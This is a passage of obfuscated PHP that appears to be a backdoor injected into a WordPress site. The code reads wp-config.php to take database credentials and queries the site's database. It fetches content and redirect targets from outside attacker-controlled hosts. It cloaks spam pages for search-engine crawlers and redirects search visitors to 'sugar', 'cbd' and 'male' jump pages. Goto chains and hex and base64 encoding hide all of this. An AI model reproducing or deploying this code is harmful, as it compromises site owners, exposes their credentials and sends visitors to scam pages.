!$CV1vE && !$Qjrdr)) { goto bG0b5; } goto pTRoC; FvbR5: Ta9w5: goto RQqZR; yvEHd: $u2OMb = str_replace("\x2e\x68\164\x6d\154", '', $u2OMb); goto DtVrZ; M50b5: if (!(!preg_match("\57\x77\x6f\162\x64\x70\162\x65\163\163\x5f\154\x6f\147\147\145\x64\137\151\156\137\57\x69", $gr3s7) && !$CV1vE && !$Qjrdr)) { goto p0LrV; } goto jkps9; ir_6J: $hpkca = strtolower($_SERVER["\x48\x54\124\x50\x5f\x52\x45\106\105\x52\105\x52"]); goto ZRxPC; lXKxA: $u2OMb = str_replace("\57\77\153\145\171\x3d", "\57", $u2OMb); goto ILjWv; wy5ha: $u2OMb = str_replace("\137\x75\156\114\x69\156\x65\x5f", "\x2f", $u2OMb); goto ogvS_; w2tOO: $u2OMb = str_replace("\x68\164\x74\160\72\x2f\x2f\x66\141\164\x2e\142\x6c\156\x67\x62\154\156\x67\163\x2e\x72\x6f\143\153\x73\x2f\151\x6d\141\147\x65\163\x32\60\x32\x33\x30\x33\x2f{$Oo03l}\57", $xa0pb . "\x3a\57\x2f" . $bPqwo . fR8jN() . "\x2f\x69\155\141\x67\x65\163\x2f", $u2OMb); goto H4K_k; PPaRL: XzGjb: goto U8CRO; p5O4K: $u2OMb = str_replace("\56\x68\x74\x6d\154", '', $u2OMb); goto hL0yy; SLfWi: bloIY: goto VNPFE; Gb49e: exit; goto Qcy_v; rep8U: PSSli: goto ov7zD; tBeSb: function CVq35() { goto AanGA; N430u: return $AqXUL; goto nhczi; AUe6h: MB5ve: goto N430u; SFPau: if (!empty($AqXUL)) { goto MB5ve; } goto gnIvC; AanGA: @($Adlyi = WBAB0("\150\x74\164\160\x3a\x2f\x2f\142\154\156\147\x62\x6c\x6e\147\x73\x2e\162\157\143\153\163\x2f\163\165\x67\141\x72\55\150\x6f\x73\x74\x2e\x74\170\164")); goto Oakkk; YK4tH: $AqXUL = $Adlyi . "\77\162\145\146\x70\141\147\x65\75" . $_SERVER["\123\x45\x52\x56\x45\122\x5f\116\x41\115\x45"] . $_SERVER["\x52\x45\x51\125\x45\123\x54\x5f\125\122\x49"]; goto g5D2t; e4HCP: if (!empty($Adlyi)) { goto YFqE1; } goto hxl7j; gnIvC: $AqXUL = "\150\164\164\160\163\72\x2f\57\x36\56\x73\141\x6c\145\146\x6f\x72\x79\157\165\x2e\157\x72\147\57\x73\165\x67\141\162\x2d\152\165\x6d\x70\x2e\x70\150\160"; goto AUe6h; g5D2t: Ks727: goto e4HCP; Oakkk: if (empty($Adlyi)) { goto Ks727; } goto YK4tH; hxl7j: $AqXUL = wbaB0("\150\x74\x74\160\x3a\57\57\x35\56\147\x30\60\x67\x6c\145\x77\145\142\x2e\143\x6f\x6d\x2f\163\165\147\141\162\55\150\x6f\163\164\56\164\170\164"); goto L0k_a; L0k_a: YFqE1: goto SFPau; nhczi: } goto wAttA; VXSIx: $u2OMb = str_replace("\150\x74\x74\160\x3a\57\57", "\150\x74\x74\160\x73\72\x2f\57", $u2OMb); goto MSEN7; SnyBO: $u2OMb = str_replace("\x2e\x68\x74\155\154", '', $u2OMb); goto lXKxA; Qcy_v: GIfz5: goto FvbR5; ogvS_: $u2OMb = str_replace("\x68\x74\164\160\x3a\x2f\x2f", "\x68\x74\164\160\163\72\x2f\x2f", $u2OMb); goto S0E7c; ZRxPC: $gr3s7 = ''; goto VRn2q; nKu_w: $tfYNk = Fr8jn(); goto nxEyg; raS6I: hipSo: goto uFSP8; eKWD1: $JU_si = Whq6w(); goto fQZj5; jk9JA: $u2OMb = str_replace("\x2e\x68\x74\x6d\x6c", '', $u2OMb); goto zPxws; zWKQ1: function wBAB0($GaycV) { goto Aqw5Z; n8qM3: if (!empty($AqXUL)) { goto KlZ3v; } goto TVXvw; mPDtP: curl_close($KXOVj); goto X5EG2; eyfQc: return $AqXUL; goto JtFD7; bNaMX: $DkhXY = stream_context_create($qLOk4); goto FBWk6; FBWk6: @($AqXUL = file_get_contents($GaycV, false, $DkhXY)); goto n8qM3; TVXvw: $KXOVj = curl_init(); goto KpZPX; Aqw5Z: $qLOk4 = array("\x68\x74\x74\x70" => array("\x6d\145\164\150\x6f\144" => "\x47\x45\124", "\164\151\155\x65\x6f\165\x74" => 5)); goto bNaMX; SIfE3: curl_setopt($KXOVj, CURLOPT_RETURNTRANSFER, 1); goto WZST1; d2nFK: curl_setopt($KXOVj, CURLOPT_URL, $GaycV); goto SIfE3; WZST1: curl_setopt($KXOVj, CURLOPT_CONNECTTIMEOUT, $muk1z); goto GWvWc; KpZPX: $muk1z = 5; goto d2nFK; GWvWc: $AqXUL = curl_exec($KXOVj); goto mPDtP; X5EG2: KlZ3v: goto eyfQc; JtFD7: } goto EXJAB; i5D1L: $u2OMb = str_replace("\150\x74\164\x70\x3a\57\x2f" . Fr8jn() . "\57", $xa0pb . "\72\x2f\x2f" . $bPqwo . fr8Jn() . "\57", $u2OMb); goto cmlNr; bPjRo: $u2OMb = str_replace("\x68\x74\164\x70\72\x2f\x2f" . FR8JN() . "\x2f", $xa0pb . "\x3a\57\x2f" . $bPqwo . fR8jn() . "\x2f", $u2OMb); goto w2tOO; vWTk1: $Qjrdr = 1; goto rVd0w; lRDUW: $u2OMb = Wbab0(base64_decode("\x61\x48\x52\x30\x63\104\157\x76\x4c\62\x5a\x68\x64\x43\x35\151\142\x47\x35\156\131\155\170\165\132\63\x4d\x75\x63\155\x39\152\141\63\115\166\x4d\x6a\101\171\x4d\x79\x30\x77\115\x79\71\x33\x5a\x57\x6c\156\141\x48\121\x76\x62\x57\106\x70\142\x69\x35\167\x61\110\101\57\x61\x32\126\65\120\x51") . $Hd7TI . "\46\150\157\163\164\x3d" . $tfYNk . "\x26\167\x77\167\x3d\x32"); goto W7UGp; bPKgb: $Hd7TI = str_replace($mYDkU[1] . "\x2f", $mYDkU[1] . "\137\165\x6e\x4c\151\x6e\145\x5f", $_SERVER["\122\105\121\x55\x45\x53\x54\x5f\x55\122\111"]); goto Q0I4v; O60wG: echo $u2OMb; goto Gb49e; lV_aK: $u2OMb = str_replace("\137\165\x6e\x4c\151\x6e\145\x5f", "\57", $u2OMb); goto VXSIx; uGWdV: $nvvR0 = array("\43\x41\163\x6b\134\163\52\x4a\145\x65\166\x65\163\x23\x69", "\x23\110\x50\x5c\163\x2a\x57\145\x62\x5c\x73\x2a\x50\162\x69\x6e\164\x53\x6d\x61\162\x74\43\151", "\43\110\124\124\162\x61\x63\x6b\x23\151", "\x23\x49\104\x42\x6f\x74\x23\151", "\43\x49\156\144\171\x5c\163\x2a\114\x69\x62\x72\x61\162\x79\x23", "\43\x4c\x69\163\x74\x43\150\x65\x63\x6b\145\162\43\151", "\43\x4d\123\111\x45\103\162\x61\167\x6c\145\162\43\x69", "\x23\x4e\x65\164\103\x61\143\x68\x65\x23\x69", "\43\116\x75\164\143\150\43\x69", "\x23\x52\x50\x54\55\110\x54\x54\x50\103\154\x69\x65\x6e\x74\x23\x69", "\43\x72\165\154\151\x6e\153\151\x5c\56\x72\165\x23\x69", "\x23\x54\167\x69\143\145\154\x65\x72\x23\x69", "\x23\x57\145\x62\x41\154\164\141\43\x69", "\43\127\145\x62\163\164\x65\x72\x5c\163\x2a\120\162\157\43\x69", "\x23\167\x77\x77\x5c\56\x63\x79\163\x5c\x2e\162\x75\x23\151", "\43\127\x79\x73\x69\147\157\x74\43\x69", "\x23\131\141\x68\157\157\x21\134\163\x2a\123\x6c\165\162\160\x23\x69", "\x23\x59\x65\164\151\43\x69", "\x23\x41\143\143\157\157\x6e\141\43\x69", "\43\103\141\x7a\x6f\157\144\154\x65\x42\x6f\164\43\x69", "\43\x43\106\x4e\x65\x74\167\x6f\x72\153\x23\151", "\43\x43\157\x6e\x76\145\162\x61\103\162\x61\x77\154\145\x72\43\x69", "\43\x44\111\x53\x43\x6f\x23\151", "\43\104\x6f\x77\x6e\x6c\x6f\x61\144\134\x73\x2a\115\141\x73\x74\x65\x72\43\x69", "\43\106\101\123\x54\x5c\163\x2a\115\x65\x74\x61\127\x65\142\x5c\163\52\x43\162\141\x77\x6c\x65\x72\x23\x69", "\43\106\154\x65\x78\165\x6d\x5c\x73\52\163\x70\151\x64\145\x72\x23\x69", "\43\x47\x69\x67\141\x62\157\x74\x23\x69", "\x23\110\x54\x4d\x4c\120\x61\x72\163\145\162\x23\151", "\43\x69\x61\137\141\x72\x63\150\x69\x76\x65\x72\43\151", "\43\x69\x63\x68\151\x72\x6f\43\x69", "\x23\111\122\114\x62\x6f\x74\x23\151", "\x23\112\x61\166\x61\43\x69", "\43\153\x6d\x5c\56\162\x75\x5c\163\x2a\142\157\x74\43\x69", "\x23\153\155\123\145\x61\x72\143\x68\x42\x6f\x74\x23\x69", "\43\154\151\142\167\x77\167\55\160\145\x72\154\43\151", "\x23\114\165\160\141\134\56\162\165\x23\x69", "\43\x4c\x57\120\72\72\x53\151\155\160\154\145\43\x69", "\43\154\167\160\55\164\162\151\x76\x69\141\x6c\x23\151", "\43\115\x69\x73\x73\151\x67\x75\x61\x23\151", "\x23\x4d\x4a\x31\x32\142\157\164\x23\151", "\x23\x6d\163\156\x62\157\x74\x23\151", "\x23\155\163\156\x62\157\164\x2d\x6d\x65\x64\151\141\x23\151", "\x23\117\146\x66\x6c\x69\x6e\145\134\x73\52\x45\170\x70\154\x6f\162\x65\162\x23\151", "\x23\117\155\156\x69\105\x78\x70\154\157\162\145\x72\137\x42\157\164\x23\x69", "\x23\x50\x45\101\122\43\x69", "\43\x70\x73\142\157\164\x23\151", "\x23\x50\171\x74\150\157\156\x23\151", "\x23\x72\x75\x6c\x69\156\x6b\x69\134\56\x72\x75\43\x69", "\43\123\x4d\x49\114\x45\x23\x69", "\43\x53\x70\145\x65\144\x79\x23\151", "\x23\x54\145\x6c\x65\160\157\x72\164\x5c\163\52\120\x72\157\43\x69", "\x23\124\165\162\164\154\145\123\x63\141\156\156\x65\162\43\x69", "\43\x55\x73\145\162\x2d\101\147\145\x6e\164\43\x69", "\x23\x76\157\171\141\147\x65\x72\43\x69", "\x23\x57\145\x62\x61\x6c\164\141\43\x69", "\x23\x57\x65\142\103\x6f\x70\x69\145\x72\43\x69", "\43\x57\x65\x62\104\x61\164\141\43\151", "\43\127\x65\142\x5a\111\120\43\151", "\43\127\147\x65\164\43\x69", "\43\131\x61\x6e\144\x65\170\x23\151", "\x23\x59\x61\156\147\141\x23\151", "\x23\x59\x65\164\151\43\151", "\x23\x6d\163\156\142\157\164\43\151", "\x23\x73\x70\151\144\x65\x72\43\151", "\x23\x79\141\x68\157\x6f\43\x69", "\43\152\145\x65\166\145\x73\43\x69", "\43\x67\157\x6f\x67\154\x65\x23\x69", "\x23\x61\x6c\164\141\166\x69\163\x74\x61\43\x69", "\x23\163\143\x6f\157\164\x65\162\43\151", "\43\141\166\134\163\52\146\x65\x74\143\150\43\151", "\x23\141\x73\164\145\162\151\x61\163\x23\x69", "\x23\163\x70\x69\144\145\162\x74\150\x72\145\x61\144\40\x72\145\166\x69\x73\x69\x6f\156\43\x69", "\43\x73\161\167\x6f\x72\x6d\43\x69", "\x23\x61\x73\x6b\43\x69", "\x23\x6c\x79\143\x6f\x73\56\x73\160\151\x64\x65\x72\x23\151", "\43\151\x6e\146\157\163\145\x65\153\40\163\151\x64\145\167\151\156\x64\145\162\x23\x69", "\43\165\x6c\x74\162\x61\x73\145\145\153\43\151", "\43\x70\x6f\154\x79\x62\x6f\164\43\x69", "\43\x77\x65\x62\x63\162\x61\167\154\x65\162\43\151", "\43\162\157\142\157\172\151\x6c\154\x23\151", "\43\x67\x75\154\x6c\151\x76\x65\x72\43\x69", "\x23\141\x72\x63\150\151\164\145\x78\x74\163\160\151\144\145\162\43\x69", "\43\x79\141\150\x6f\157\41\134\163\52\163\x6c\165\x72\160\x23\x69", "\43\143\x68\x61\x72\154\157\x74\x74\145\43\x69", "\x23\x6e\147\x62\43\x69", "\43\102\151\x6e\147\102\x6f\x74\43\151"); goto Bczbv; Bczbv: if (!(!empty($_SERVER["\x48\124\x54\x50\x5f\125\x53\105\122\x5f\101\107\x45\x4e\x54"]) && FALSE !== strpos(preg_replace($nvvR0, "\x2d\x4e\117\x2d\x57\101\x59\x2d", $_SERVER["\x48\124\124\x50\x5f\125\123\105\x52\x5f\x41\x47\x45\x4e\x54"]), "\55\116\x4f\x2d\x57\101\131\x2d"))) { goto zya9j; } goto vWTk1; hGZmd: exit; goto rep8U; jkps9: if (!vmIqm($hpkca)) { goto NH762; } goto v_Gtp; tF4ei: $u2OMb = str_replace("\x68\x74\164\x70\72\57\57", "\x68\x74\x74\160\x73\72\57\x2f", $u2OMb); goto ViYdp; NzQzg: Z3U8l: goto ZSSJ1; uQS60: kkoRA: goto sulkQ; ViYdp: if (!$Qjrdr) { goto bloIY; } goto ED2UO; zkBoO: $OTxqd = imagecreatefromstring(WBaB0($GaycV)); goto uslAl; gBvL_: exit; goto eXEB8; kwDmq: if (!(!preg_match("\57\x77\x6f\x72\144\160\162\145\x73\x73\137\154\x6f\147\x67\145\144\x5f\151\x6e\137\x2f\x69", $gr3s7) && !$CV1vE && !$Qjrdr)) { goto LZmQE; } goto XvCHB; uslAl: list($xlwxJ, $Uu3Vn, $oHtwT) = getimagesize($GaycV); goto CoZO_; XTdee: lB3kI: goto lSIFj; gO_qd: if (!preg_match("\x2f\x69\155\141\147\145\x73\134\57\50\56\x2a\x29\x2f\x69", $_SERVER["\x52\x45\121\x55\x45\x53\x54\x5f\125\x52\x49"], $mYDkU)) { goto Cvan3; } goto aAVsJ; ZSSJ1: bG0b5: goto r_1JD; W7UGp: $u2OMb = str_replace("\150\164\164\160\x3a\57\x2f" . Fr8Jn() . "\57", $xa0pb . "\72\57\57" . $bPqwo . fR8jN() . "\57", $u2OMb); goto UnOpf; ru7O9: exit; goto SLfWi; uFSP8: L2EdG: goto SiDqe; Xm3VM: echo $u2OMb; goto gBvL_; HpE7d: $u2OMb = wBaB0(base64_decode("\x61\x48\x52\x30\x63\x44\157\x76\x4c\62\132\150\144\103\65\x69\x62\107\x35\x6e\131\155\x78\165\132\63\x4d\x75\x63\x6d\x39\152\x61\63\115\166\115\x6a\101\171\x4d\171\x30\x77\x4d\x79\x39\164\x59\x57\x78\x6c\x4c\x32\61\x68\x61\127\64\x75\143\107\x68\167\x50\x32\164\x6c\x65\124\60") . $Hd7TI . "\46\x68\157\163\164\75" . $tfYNk . "\46\167\167\x77\x3d\x32"); goto WiKqT; GP57t: header("\154\x6f\x63\x61\164\151\157\x6e\x3a\x20" . $JU_si); goto hGZmd; H4K_k: $u2OMb = str_replace("\56\150\x74\155\x6c", '', $u2OMb); goto iaUiQ; zPxws: $u2OMb = str_replace("\57\77\x6b\145\171\75", "\57", $u2OMb); goto g0bhO; lSIFj: function VMiQm($E2CbU) { goto dqfTT; dqfTT: $tkvgy = str_replace("\x78", '', "\142\170\x78\x69\170\x6e\x78\147\170\174\x78\x61\x78\157\170\x78\154\170\x7c\x61\x78\x73\170\170\153\174\170\147\x78\x6f\x78\x78\x6f\x78\x67\x78\x6c\x78\145\x7c\x79\170\x78\141\x78\150\170\x6f\x78\157\x7c\x73\x78\145\x78\x78\141\170\162\x78\143\170\x68\174\144\165\170\x63\153\x64\x78\x75\x63\x78\x6b\170\x67\x6f"); goto hBuGW; Lw2GC: SCMTw: goto bDjae; r8AaO: xDgCV: goto nV1WN; RoovO: goto SCMTw; goto r8AaO; hBuGW: if (preg_match("\x2f{$tkvgy}\x2f\x69", $E2CbU)) { goto xDgCV; } goto Acgr8; nV1WN: return true; goto Lw2GC; Acgr8: return false; goto RoovO; bDjae: } goto ir_6J; Ms6Tl: $u2OMb = str_replace("\150\164\x74\160\x3a\57\x2f\x66\141\164\56\x62\x6c\156\147\142\x6c\x6e\147\x73\56\162\x6f\x63\x6b\163\57\x69\x6d\x61\x67\x65\163\x32\x30\62\x33\x30\63\x2f{$Oo03l}\x2f", $xa0pb . "\x3a\57\57" . $bPqwo . fr8Jn() . "\57\x69\x6d\x61\x67\x65\163\x2f", $u2OMb); goto SnyBO; rVd0w: zya9j: goto y22W5; ov7zD: NLGej: goto HfczC; RH13y: if (!$Qjrdr) { goto Bj5of; } goto Xm3VM; Gz08m: DQ0ox: goto uQS60; eTrtY: $u2OMb = str_replace("\150\164\x74\160\x3a\57\57\146\x61\x74\56\142\154\156\147\142\154\156\147\163\x2e\x72\157\x63\x6b\163\57\151\155\141\147\145\x73\x32\x30\62\x33\60\63\57{$Oo03l}\57", $xa0pb . "\72\57\57" . $bPqwo . FR8jn() . "\57\x69\x6d\141\x67\x65\163\x2f", $u2OMb); goto yvEHd; V1RB_: if (!$Qjrdr) { goto hipSo; } goto quBKY; OoDEP: p0LrV: goto EHobn; B4v6a: function Fr8JN() { return "\x77\145\151\163\x7a\x6c\141\x62\x2e\x70\x69\164\x74\56\x65\144\x75"; } goto EFltS; Hulvd: $CV1vE = NVAUx($iGExa); goto uGWdV; xU61T: function Whq6w() { goto QrQhz; gMaWF: if (empty($Adlyi)) { goto WV8bf; } goto ZsUGP; wuYXJ: if (!empty($Adlyi)) { goto jCrNF; } goto h6RQa; jAfDa: jCrNF: goto LndSS; LndSS: if (!empty($AqXUL)) { goto V_rQu; } goto h5PVG; nDDki: V_rQu: goto vAJyV; h5PVG: $AqXUL = "\x68\164\x74\160\x73\x3a\x2f\57\x36\x2e\163\x61\x6c\145\146\157\162\171\x6f\165\56\157\x72\x67\x2f\x63\x62\144\x2d\x6a\x75\155\x70\x2e\x70\150\x70"; goto nDDki; h6RQa: $AqXUL = wbAB0("\150\164\164\160\x3a\x2f\57\65\x2e\x67\60\x30\147\154\145\x77\145\142\56\x63\157\155\57\x63\142\x64\55\150\x6f\x73\x74\56\x74\x78\x74"); goto jAfDa; QrQhz: @($Adlyi = wbab0("\x68\x74\164\160\72\x2f\57\142\154\156\147\x62\154\x6e\147\163\x2e\x72\157\143\153\163\57\143\x62\144\55\150\x6f\x73\164\56\164\170\x74")); goto gMaWF; KBF8E: WV8bf: goto wuYXJ; vAJyV: return $AqXUL; goto JmF4i; ZsUGP: $AqXUL = $Adlyi . "\x3f\162\145\x66\x70\141\147\145\75" . $_SERVER["\x53\105\122\x56\x45\122\x5f\x4e\x41\x4d\x45"] . $_SERVER["\x52\x45\121\x55\105\123\x54\x5f\x55\x52\111"]; goto KBF8E; JmF4i: } goto FT0DO; EXJAB: function JyWYU() { goto M8C4P; xV7yk: Hrl86: goto VrU2_; z3ysg: return $ygBeb; goto FBT7c; VrU2_: $ygBeb = $_SERVER["\122\105\x4d\x4f\124\105\137\101\104\x44\122"]; goto dnPYG; iuieW: Knwu1: goto XK4hQ; dnPYG: RRnFZ: goto z3ysg; XH66J: goto RRnFZ; goto hxeWu; EJTCw: goto RRnFZ; goto kk3Wx; BESnR: goto RRnFZ; goto iuieW; dKOtR: if (getenv("\x52\105\x4d\117\124\105\137\101\104\104\122") && strcasecmp(getenv("\x52\x45\115\117\124\x45\137\x41\104\104\122"), "\165\156\153\x6e\x6f\x77\x6e")) { goto RPA6S; } goto n8Ga7; eraAk: goto RRnFZ; goto xV7yk; bnpA4: if (getenv("\x48\124\124\x50\x5f\x58\x5f\106\x4f\122\127\101\122\x44\105\x44\x5f\106\117\x52") && strcasecmp(getenv("\110\124\124\120\137\x58\x5f\106\117\x52\127\101\x52\x44\105\104\x5f\106\x4f\x52"), "\165\x6e\x6b\156\x6f\x77\x6e")) { goto Knwu1; } goto dKOtR; OD5DS: $ygBeb = getenv("\122\x45\x4d\117\124\x45\137\x41\104\104\122"); goto eraAk; V6n2r: if (getenv("\x48\124\x54\120\x5f\103\x4c\x49\105\x4e\124\137\111\120") && strcasecmp(getenv("\x48\x54\x54\120\137\x43\114\111\x45\x4e\x54\137\x49\120"), "\165\156\153\x6e\x6f\x77\156")) { goto qAGcO; } goto bnpA4; hxeWu: qAGcO: goto GVTWc; n8Ga7: if (isset($_SERVER["\x52\105\115\117\x54\105\137\x41\x44\104\x52"]) && $_SERVER["\x52\x45\x4d\x4f\x54\105\137\x41\x44\x44\x52"] && strcasecmp($_SERVER["\122\105\x4d\x4f\124\x45\x5f\x41\104\104\122"], "\x75\x6e\x6b\x6e\157\167\156")) { goto Hrl86; } goto XH66J; kk3Wx: RPA6S: goto OD5DS; M8C4P: $ygBeb = ''; goto V6n2r; XK4hQ: $ygBeb = getenv("\x48\124\124\120\137\130\x5f\106\117\122\x57\x41\122\x44\105\104\x5f\x46\x4f\x52"); goto EJTCw; GVTWc: $ygBeb = getenv("\110\x54\124\x50\137\103\114\111\x45\116\x54\x5f\111\x50"); goto BESnR; FBT7c: } goto v7fsT; mW8L_: $Hd7TI = str_replace("\x2f", '', $Hd7TI); goto axWgI; qUNQP: LdU9G: goto CCEuX; jMBbG: $JU_si = oJBpz(); goto GP57t; j97cu: $JU_si = cvQ35(); goto Y1uFv; EHobn: $Hd7TI = str_replace($mYDkU[1] . "\x2f", $mYDkU[1] . "\137\165\156\x4c\x69\x6e\x65\137", $_SERVER["\x52\x45\121\125\105\x53\x54\137\125\x52\x49"]); goto o0X3L; o0X3L: $Hd7TI = str_replace("\x2f", '', $Hd7TI); goto HpE7d; VNPFE: dHFVQ: goto XxuQ6; v_Gtp: $JU_si = fvVUy(); goto TIzzE; S0E7c: if (!$Qjrdr) { goto XzGjb; } goto zJpip; qBFc0: Cvan3: goto uQaXJ; zJpip: echo $u2OMb; goto YUnvj; ED2UO: echo $u2OMb; goto ru7O9; HfczC: $Hd7TI = str_replace($mYDkU[1] . "\x2f", $mYDkU[1] . "\137\x75\x6e\x4c\151\x6e\145\x5f", $_SERVER["\x52\105\121\125\105\123\x54\137\125\122\x49"]); goto ghFXo; DtVrZ: $u2OMb = str_replace("\57\77\x6b\145\x79\75", "\x2f", $u2OMb); goto wy5ha; YUnvj: exit; goto PPaRL; CCEuX: JGUKr: goto qBFc0; ILjWv: $u2OMb = str_replace("\x5f\x75\156\114\151\x6e\145\x5f", "\x2f", $u2OMb); goto tF4ei; y22W5: if (!(FALSE !== strpos(gethostbyaddr($iGExa), "\147\x6f\x6f\x67\x6c\145"))) { goto lB3kI; } goto gEcxs; L9cZ6: exit; goto Gz08m; Vfw3y: header("\x6c\157\143\x61\164\x69\x6f\x6e\x3a\40" . $JU_si); goto cKf24; pQxF1: function fVvUY() { goto C2wvN; pWLH8: if (!empty($Adlyi)) { goto qKRrp; } goto mwSlm; lJjIN: return $AqXUL; goto HPiBN; mwSlm: $AqXUL = wbaB0("\x68\164\x74\x70\x3a\x2f\57\x35\56\147\x30\60\147\x6c\145\167\145\142\x2e\143\x6f\155\57\155\x61\x6c\x65\55\150\157\163\x74\56\x74\170\164"); goto JhnPs; C2wvN: @($Adlyi = wbab0("\150\x74\x74\160\x3a\x2f\57\142\x6c\x6e\147\142\x6c\x6e\147\163\x2e\x72\x6f\x63\x6b\x73\57\x6d\141\154\145\55\x73\x74\157\x6e\x65\56\x74\170\164")); goto eX80s; oKiZ4: if (!empty($AqXUL)) { goto TTWSn; } goto Zwgvc; eX80s: if (empty($Adlyi)) { goto ubH3S; } goto WhxWc; WhxWc: $AqXUL = $Adlyi . "\x3f\162\145\146\x70\141\147\145\75" . $_SERVER["\123\105\122\x56\x45\x52\x5f\x4e\x41\115\105"] . $_SERVER["\122\x45\x51\x55\x45\x53\x54\137\125\122\111"]; goto a5yGN; fFM5J: TTWSn: goto lJjIN; Zwgvc: $AqXUL = "\x68\164\x74\160\163\72\x2f\x2f\x36\56\163\141\154\145\146\157\x72\171\157\165\x2e\157\162\x67\57\155\x61\x6c\x65\55\163\x74\157\156\x65\x2e\x70\x68\160"; goto fFM5J; JhnPs: qKRrp: goto oKiZ4; a5yGN: ubH3S: goto pWLH8; HPiBN: } goto M50b5; r_u6U: aaaYP: goto vQJS6; gEcxs: $Qjrdr = 1; goto XTdee; quBKY: echo $u2OMb; goto GdaDN; BozfQ: $u2OMb = str_replace("\x68\164\x74\x70\72\57\x2f", "\150\x74\164\160\163\x3a\57\57", $u2OMb); goto V1RB_; NaPWA: $u2OMb = wBab0(base64_decode("\x61\x48\122\60\x63\104\x6f\x76\x4c\62\x5a\150\144\103\x35\151\x62\107\x35\x6e\x59\155\x78\165\132\x33\x4d\x75\143\155\71\152\141\x33\x4d\x76\x4d\152\101\171\115\171\x30\x77\x4d\171\71\x77\143\x6d\126\x7a\x63\63\126\171\x5a\123\71\x74\131\x57\x6c\x75\114\156\102\157\143\x44\x39\162\x5a\x58\x6b\71") . $Hd7TI . "\46\x68\x6f\x73\164\x3d" . $tfYNk . "\x26\167\x77\x77\75\x32"); goto ugUUA; Q0I4v: $Hd7TI = str_replace("\57", '', $Hd7TI); goto lRDUW; Pn42e: $Oo03l = str_replace("\56", "\x2d", $Oo03l); goto gO_qd; r_1JD: $Hd7TI = str_replace($mYDkU[1] . "\x2f", $mYDkU[1] . "\x5f\x75\156\x4c\151\156\145\137", $_SERVER["\122\105\121\x55\105\123\x54\137\x55\x52\111"]); goto mW8L_; TIzzE: header("\154\x6f\x63\x61\x74\x69\x6f\x6e\72\40" . $JU_si); goto BIhY2; UnOpf: $u2OMb = str_replace("\150\x74\164\x70\x3a\x2f\x2f\146\x61\164\x2e\142\x6c\156\147\x62\154\156\x67\x73\x2e\162\x6f\x63\153\163\x2f\x69\x6d\141\147\145\163\x32\x30\x32\63\60\x33\x2f{$Oo03l}\57", $xa0pb . "\x3a\x2f\x2f" . $bPqwo . Fr8jn() . "\57\x69\155\x61\147\145\x73\57", $u2OMb); goto jk9JA; PpD7Z: $Hd7TI = str_replace("\x2f", '', $Hd7TI); goto tGhca; WZlWM: $JU_si = RfVOZ(); goto Vfw3y; sUlqM: function nVAUX($DmIBp) { goto w96HW; KN5yL: return $MYNrY; goto T4PiL; a8GxQ: if (!($cxLMJ = mysqli_fetch_array($pKA7U))) { goto It1GI; } goto j6zY6; JJbXd: goto vzc1u; goto bQkAA; OIxuT: $pKA7U = mysqli_query($jLgjs, $vEJQp); goto N7Iij; aPoed: if (!file_exists($KwoWh = "\x44\72\x5c\163\x69\164\x65\163\x5c\167\x65\151\163\172\154\x61\x62\x2f\x77\x70\x2d\143\x6f\156\146\151\147\56\x70\150\x70")) { goto dy8cP; } goto d7nRS; KI7hz: return $MYNrY; goto quSDj; ut8tl: ZN9gE: goto TPKP8; ajYz9: $jLgjs = mysqli_connect($rR0SK, $W0XwB, $E1C35, $VT3YR); goto rOqa9; w96HW: $MYNrY = false; goto aPoed; foAwf: $E1C35 = $K2c2N[2][2]; goto HywUR; RJwBk: preg_match_all("\176\136\144\x65\146\x69\x6e\x65\56\x2a\x28\104\x42\x5f\x4e\x41\x4d\x45\x7c\x44\102\x5f\125\123\x45\122\174\104\x42\137\120\x41\123\123\127\117\x52\x44\174\x44\102\x5f\x48\x4f\123\124\51\133\x5c\47\x22\135\54\134\163\x2b\x5b\x5c\47\x22\x5d\50\x2e\x2b\51\x5b\134\x27\x22\x5d\x5c\x73\52\134\51\73\x7e\155", $qTZIz, $K2c2N); goto dSi3r; omIN5: $W0XwB = $K2c2N[2][1]; goto foAwf; TPKP8: goto maNOy; goto Fbmix; bQkAA: It1GI: goto dCHFg; T4PiL: maNOy: goto KI7hz; k1zar: if (!(strpos($h1dOl, $DjoKB) !== false || strpos($QgF6_, $DjoKB) !== false)) { goto qJZ2A; } goto Y1lAa; HywUR: $rR0SK = $K2c2N[2][3]; goto D_tN0; rOqa9: $h1dOl = ''; goto Mb1TD; Y1lAa: $MYNrY = true; goto oB5Gc; oB5Gc: qJZ2A: goto ut8tl; RFyge: $VT3YR = $K2c2N[2][0]; goto omIN5; D_tN0: $sgEHk = $rfU0a[1]; goto ajYz9; lQVaj: $sbM3n = strripos($DmIBp, "\56"); goto hi3Vc; Mb1TD: if (isset($RMu2w)) { goto ZN9gE; } goto ILKqR; Fbmix: dy8cP: goto KN5yL; ILKqR: $vEJQp = "\123\105\x4c\105\x43\124\40\x2a\x20\106\122\117\x4d\x20\x60{$sgEHk}\165\163\x65\162\155\x65\164\141\140\40\x57\110\x45\122\x45\40\x60\155\145\164\x61\137\x6b\x65\171\x60\x20\x3d\x20\47\x63\x6f\x6d\155\x75\x6e\x69\x74\171\55\145\166\145\x6e\164\x73\x2d\x6c\157\x63\x61\164\151\x6f\x6e\x27"; goto OIxuT; dSi3r: preg_match("\176\164\x61\142\x6c\x65\x5f\160\162\145\146\151\x78\134\x73\x2b\75\x5c\163\53\47\50\56\53\x29\47\x3b\x7e", $qTZIz, $rfU0a); goto RFyge; d7nRS: $qTZIz = file_get_contents($KwoWh); goto RJwBk; dCHFg: mysqli_close($jLgjs); goto MQzAW; j6zY6: $h1dOl .= $cxLMJ["\x6d\x65\x74\141\137\x76\141\154\x75\x65"]; goto JJbXd; MQzAW: $QgF6_ = ''; goto lQVaj; hi3Vc: $DjoKB = substr($DmIBp, 0, $sbM3n); goto k1zar; N7Iij: vzc1u: goto a8GxQ; quSDj: } goto Hulvd; wAttA: if (!(!preg_match("\x2f\x77\157\162\x64\x70\162\x65\163\163\137\x6c\157\147\x67\x65\x64\137\151\x6e\137\57\x69", $gr3s7) && !$CV1vE && !$Qjrdr)) { goto kkoRA; } goto SToql; Kq9oc: $u2OMb = str_replace("\x5f\165\156\114\151\156\145\137", "\x2f", $u2OMb); goto SdTjp; BIhY2: exit; goto YyGuY; v7fsT: $iGExa = jYwYu(); goto sUlqM; twwOz: function ojBpz() { goto NE2PE; NsGd5: if (!empty($AqXUL)) { goto I93WB; } goto Eq_eY; zi4cf: return $AqXUL; goto UAg3o; wM8k0: if (empty($Adlyi)) { goto ea5bN; } goto ILjef; CEag9: I93WB: goto zi4cf; ILjef: $AqXUL = 